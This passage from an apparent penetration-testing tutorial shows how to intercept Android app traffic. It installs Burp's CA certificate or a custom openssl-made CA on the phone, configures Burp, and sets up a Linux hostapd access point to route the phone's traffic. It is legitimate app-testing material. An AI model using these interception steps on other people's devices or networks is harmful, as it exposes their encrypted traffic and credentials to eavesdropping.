certificate and most applications use the default option. Why would anyone enable the less secure non-default option that, first of all, isn’t secure and, second of all, requires more work? There’s only one reason: the programmer of that application doesn’t want to pay for the trusted certificate, but he still wants to send all the data over the encrypted HTTPS tunnel. But really, how many Android programmers like that are out there? Not many, which is why most of the applications will have default settings that reject the invalid non-signed certificate immediately. Therefore, we can conclude that intercepting the HTTPS traffic for most applications will be a little more difficult that just using a proxy. Option 2: Adding the Burp’s CA Certificate In the previous section we said that HTTPS intercepting is possible in some applications, but we can’t intercept the traffic successfully, because Burp presents a non-signed certificate to the application. Since the default behavior doesn’t allow the application to use non-signed certificate, those errors will cause the application to fail and the requests will not be sent over the encrypted HTTPS tunnel. Here we’re going to extract the CA self-signed certificate that Burp uses from Burp and add it to the Android’s certificate store. This way, we’ll force the Android system to trust that certificate and connect to Burp without alerting the user about certificate not being trusted. The CA certificate is regenerated every time we restart Burp. Every time we make an encrypted connection to some host on the internet, Burp then generates another server certificate and signs it with the previously created CA certificate. Thus, if we add the CA certificate to the certificate store on the Android device, the connection to Burp will be trusted and we will also be able to intercept HTTPS traffic between android device and target web application. First we have to export the CA certificate from Burp. We can do that by first setting up the proxy in Firefox or some other browser and then visiting an HTTPS-enabled web site. At that point, the web browser will present a warning notifying us that the certificate is not trusted. We need to add exception for that certificate and export it at the same time. To export the certificate, we must view the details of the certificate, which can be seen in the picture below: We can see that we selected the PortSwigger CA certificate and exported it. If we save the certificate into the file PortSwiggerCA and output its contents, we will get something like this: # cat PortSwiggerCA -----BEGIN CERTIFICATE----- MIICxDCCAi2gAwIBAgIEUI2pETANBgkqhkiG9w0BAQUFADCBijEUMBIGA1UEBhML UG9ydFN3aWdnZXIxFDASBgNVBAgTC1BvcnRTd2lnZ2VyMRQwEgYDVQQHEwtQb3J0 U3dpZ2dlcjEUMBIGA1UEChMLUG9ydFN3aWdnZXIxFzAVBgNVBAsTDlBvcnRTd2ln Z2VyIENBMRcwFQYDVQQDEw5Qb3J0U3dpZ2dlciBDQTAeFw0xMjEwMjgyMTUyMTda Fw0zMjEwMjMyMTUyMTdaMIGKMRQwEgYDVQQGEwtQb3J0U3dpZ2dlcjEUMBIGA1UE CBMLUG9ydFN3aWdnZXIxFDASBgNVBAcTC1BvcnRTd2lnZ2VyMRQwEgYDVQQKEwtQ b3J0U3dpZ2dlcjEXMBUGA1UECxMOUG9ydFN3aWdnZXIgQ0ExFzAVBgNVBAMTDlBv cnRTd2lnZ2VyIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCoXLjIpRJh Sh/DbmhUCJErTgANPnoBBhfj97P6Gaya3BP+7NfzT670INyK2o5iS3FtSI78OZJ1 Sjgmg1jpycSqAPuOWS76kqrLiu+FaMAIAzYfIbei68wnPEAIflIA5AQpbSd5A4eF ldOhRYTz5VfTJxvy388KFkqHi6JD+lnSSQIDAQABozUwMzASBgNVHRMBAf8ECDAG AQH/AgEAMB0GA1UdDgQWBBTDazkycGJQkgV6GdPacarqRrMISDANBgkqhkiG9w0B AQUFAAOBgQCiLCy7AQHpWLq1W2DANmrybMmSUFXqcOMZei/xb/61LS4NjoVIQ4Fm 1OWLSJX/t00P+fS0Xk/5+vnWgIE+WP8Z9l6eWzNu/7EU6GCm1vECZ2X+XycD8wgB hZv17D+I0mFcHJFQtgq2sranJ+7oITkXOhcpwJ2+6+aTPDoUkp2AlQ== -----END CERTIFICATE----- This is the CA certificate that we need to import into the Android certificate store. To do that, we need to connect the phone to our system and copy the certificate to SDCARD on the Android phone. We can do that with the command below: # adb push PortSwiggerCA /sdcard/ 22 KB/s (1038 bytes in 0.045s) The CA certificate will then be stored in the SDCARD on the Android phone. To add it to the certificate store, we need to go to Preferences–Security and select “Install from device storage”. When clicking on that entry, it will say that there is no valid certificate present on the SDCARD. But how is that possible? We just pushed the certificate from our computer to the SDCARD. The problem is that this process looks only for the file extensions to find the certificates and we pushed the default certificate to the SDCARD without the file extension. To bypass that limitation, we need to save the certificate as PortSwiggerCA.crt, push it to the Android SD card again and rescan the storage device. Now the CA certificate is found and we can simply import it into the certificate store by clicking on OK button. The process will then open a Toast message saying that the PortSwiggerCA certificate was successfully installed. After that, we can start a web browser and try to visit an HTTPS-enabled web site. Upon opening the HTTPS URL, the Android will be able to verify the trust of the certificate presented by Burp and the web site will open normally. Additionally we will be able to see all the HTTPS traffic flowing through the internet in a Burp proxy. Since Burp creates a new CA certificate every time we restart it, it’s way better to create a new CA certificate manually, load it into Burp and also onto the Android device; then we will always be able to intercept HTTPS traffic as long as Burp will use the created CA certificate. We can follow the instructions presented here [1] to create the CA certificate manually. Basically, we need to execute the following commands to create the CA certificate: # openssl genrsa -des3 -out ca.key 4096 # openssl req -new -x509 -days 1000 -key ca.key -out ca.crt This will create the CA certificate named ca.crt, which we need to import into our Android device. We can push it into the SDCARD as we did before and add it to the certificate store. By doing that we will be able to sign any server certificate with our CA certificate and the Android device will always trust the server certificate, because it trusts the CA certificate. Next, we also need to create the server certificate signed by the previously created CA certificate, which we’ll be using in Burp. To do that we must execute the commands below, again taken from [1]: # openssl genrsa -des3 -out server.key 4096 # openssl req -new -key server.key -out server.csr # openssl x509 -req -days 1000 -in server.csr -CA ca.crt -CAkey ca.key -set_serial 01 -out server.crt # openssl pkcs12 -export -out server.p12 -in server.crt -inkey server.key The certificate will be stored in a file named server.p12, which is the server certificate we need to configure Burp with (signed by the previously created CA certificate). To configure Burp to use that certificate, we must open Proxy–Options and configure the “server SSL certificate” options as shown in the picture below: Of course, we must also provide the password for the server certificate. The important thing we need to remember is the Common Name (CN) that we used when creating the server certificate. It is only that domain that we’ll be able to sniff without the warning message that the certificate is not valid. So why did we go through the hassle of creating our own certificates if we still need to recreate the server certificate and import it into Burp for each domain in the testing scope? The answer is quite simple: because we don’t need to recreate the CA certificate every time. We created the CA certificate, imported it into the certificate store on an Android phone and now our system trusts every server certificate, which is signed by that CA certificate. This is why we don’t ever need to transfer another CA certificate to the phone and install it; all we need to do is create another server certificate with appropriate CN on our computer and configure Burp to use it. All we need to do from now on is to create a new server certificate for the domain we would like to test, sign it with the CA certificate, and import it into Burp. We don’t need to configure anything else on the Android. If we’re going to extensively sniff HTTP/HTTPS traffic from the Android device, it’s better to set up AndroidProxy, which is a program that sits between the Android device and our Burp proxy and makes it easy to intercept HTTPS traffic by sending the domain name instead of the IP address to our proxy. It does this by intercepting all DNS requests and rewriting the CONNECT command, passing the domain name to it, rather than IP address. This should be done before the requests reach the Burp proxy, which uses the CONNECT directive to associate the correct IP address with the DNS hostname. A picture taken from the homepage of the AndroidProxy project on the Google Code, which explains this a little further, is presented below: Option 2: Using a Linux Access Point We’ll be setting up the access point via the hostapd wireless host AP daemon. First we need to install it via our default package manager on the Linux system. The hostapd daemon adds a configuration file /etc/hostapd/hostapd.conf, which contains the default configuration variables shown below: # cat /etc/hostapd/hostapd.conf | grep -v ^# | grep -v ^$ interface=wlan0 logger_syslog=-1 logger_syslog_level=2 logger_stdout=-1 logger_stdout_level=2 dump_file=/tmp/hostapd.dump ctrl_interface=/var/run/hostapd ctrl_interface_group=0 ssid=test hw_mode=g channel=1 beacon_int=100 dtim_period=2 max_num_sta=255 rts_threshold=2347 fragm_threshold=2346 macaddr_acl=0 auth_algs=3 ignore_broadcast_ssid=0 wmm_enabled=1 wmm_ac_bk_cwmin=4 wmm_ac_bk_cwmax=10 wmm_ac_bk_aifs=7 wmm_ac_bk_txop_limit=0 wmm_ac_bk_acm=0 wmm_ac_be_aifs=3 wmm_ac_be_cwmin=4 wmm_ac_be_cwmax=10 wmm_ac_be_txop_limit=0 wmm_ac_be_acm=0 wmm_ac_vi_aifs=2 wmm_ac_vi_cwmin=3 wmm_ac_vi_cwmax=4 wmm_ac_vi_txop_limit=94 wmm_ac_vi_acm=0 wmm_ac_vo_aifs=2 wmm_ac_vo_cwmin=2 wmm_ac_vo_cwmax=3 wmm_ac_vo_txop_limit=47 wmm_ac_vo_acm=0 eapol_key_index_workaround=0 eap_server=0 own_ip_addr=127.0.0.1 We can see that we’re used the wlan0 interface on the channel number 1 and the SSID access point name is test. Start the hostapd: # /etc/init.d/hostapd start * Caching service dependencies ... * Service `hostapd' needs non existent service `net.wlan0' * ERROR: hostapd needs service(s) net.wlan0 To bypass this error we need to symling the net.lo to the net.wlan, because the above error message said that the net.wlan0 doesn’t exists. This way we can simply bypass the above check. To create the symbol, execute this command: # ln -s /etc/init.d/net.lo /etc/init.d/net.wlan0 Afterwards we need to start the net.wlan0, which we can do with the following command: # /etc/init.d/net.wlan0 start * Bringing up interface wlan0 * Starting wpa_supplicant on wlan0 ... * Starting wpa_cli on wlan0 ... * Backgrounding ... ... * WARNING: net.wlan0 has started, but is inactive Okay, the wlan0 interface card is inactive., Hmmmm … why? It’s because we haven’t edited the /etc/conf.d/net yet and added the appropriate settings for the wlan0 interface card. We need to add something as follows to the /etc/conf.d/net configuration file: modules_wlan0=( "!iwconfig !wpa_supplicant" ) config_wlan0=( "10.1.2.1 netmask 255.255.255.0" ) Then we can restart the wlan0 init script, which can be done with the command below: # /etc/init.d/net.wlan0 restart * Caching service dependencies ... * Bringing down interface wlan0 * Removing addresses * Stopping wpa_cli on wlan0 ... * Stopping wpa_supplicant on wlan0 ... * Bringing up interface wlan0 * You are using a bash array for config_wlan0. * This feature will be removed in the future. * Please see net.example for the correct format for config_wlan0. * 10.1.2.1 ... SIOCSIFFLAGS: Operation not possible due to RF-kill * ERROR: net.wlan0 failed to start What’s happening? There was some error informing us that operation is not possible because of the RF-kill. If we install the rfkill program we can inspect the settings of wireless devices. First let’s list all available wireless devices: # rfkill list all 0: hci0: Bluetooth Soft blocked: no Hard blocked: no 1: phy0: Wireless LAN Soft blocked: yes Hard blocked: no The wireless card is soft blocked? This is probably the reason we’re getting the above error. To unblock the wireless card we can execute this command: # rfkill unblock all # rfkill list all 0: hci0: Bluetooth Soft blocked: no Hard blocked: no 1: phy0: Wireless LAN Soft blocked: no Hard blocked: no With the first command we unblocked all the wireless devices, but because only the wireless card was blocked, only the wifi was actually unblocked. Then we presented the wireless devices again; we can see that the wireless card isn’t blocked anymore, which is good. We can try restarting the wlan0 init script again. This time there are no errors and the net.wlan0 init script works fine, which can be seen below: # /etc/init.d/net.wlan0 restart * Bringing up interface wlan0 * You are using a bash array for config_wlan0. * This feature will be removed in the future. * Please see net.example for the correct format for config_wlan0. * 10.1.2.1 ... The wlan0 interface card now has the 10.1.2.1 IP set accordingly to the /etc/conf.d/net configuration file. We can display the information about the wlan0 interface card with the following command: # ifconfig wlan0 wlan0 Link encap:Ethernet HWaddr 00:26:c6:21:cf:1a inet addr:10.1.2.1 Bcast:10.1.2.255 Mask:255.255.255.0 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:47740 errors:0 dropped:0 overruns:0 frame:0 TX packets:48220 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:36288822 (34.6 MiB) TX bytes:12441625 (11.8 MiB) The inet addr says that the IP address is 10.1.2.1, which is correct, and the Mask is 255.255.255.0, which is also correct. The route in the routing table has also been correctly added: # route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10.1.2.0 0.0.0.0 255.255.255.0 U 0 0 0 wlan0 We need to set up the DHCP server. We can do that by using the dnsmasq, which provides DHCP and DNS services. First we need to install and configure the dnsmasq. We won’t go into the installation part of the dnsmasq, as you can probably just install it with your default package manager. Then we need to start the DHCP server, which we can do simply by executing this command: # /etc/init.d/dhcpcd start * Caching service dependencies ... * Starting DHCP Client Daemon ... After that we can simply start hostapd, which will provide us with the access point we can connect to. When the mobile phone is connected to our AP, we simply need to forward the packets out to the internet and optionally intercept them. Probably the whole point of doing this is intercepting the data, which is why we probably will be intercepting the data. We won’t describe that here, because it’s out of the scope of the article, since we only wanted to show how to connect the phone in ways that we’re able to use for intercepting the traffic. Conclusion We showed various ways we can use to intercept the traffic from an Android phone on the computer, which allows us to inspect and modify the traffic. The easiest part is to sniff for the HTTP and HTTPS traffic, but most of the applications will use that, so we’re pretty much covered. The first thing to do when trying to intercept the traffic is to set the proxy in the application itself, if it supports one. Most of the time, the applications don’t support proxying, which is why we’ll need to set a global proxy on an Android phone. But some applications bypass the proxy, so we need different methods to still be able to intercept the traffic. One of them we briefly described (but didn’t provide too much detail) is to connect our phone to an arbitrary access point that we set up on our computer. That way all the traffic will be flowing through our AP upon connecting to it. Remember that those are just a few ways to intercept the traffic, but there are many other techniques as well. One of them is to set up a sniffer on the actual router and then connect the phone to our home router, which is quite elegant and easy solution. There is no unique recipe how to intercept the data from the Android applications, but it can be done as we showed above. References: [1] Self-signed Certificates in Burp, accessible on un-excogitate.org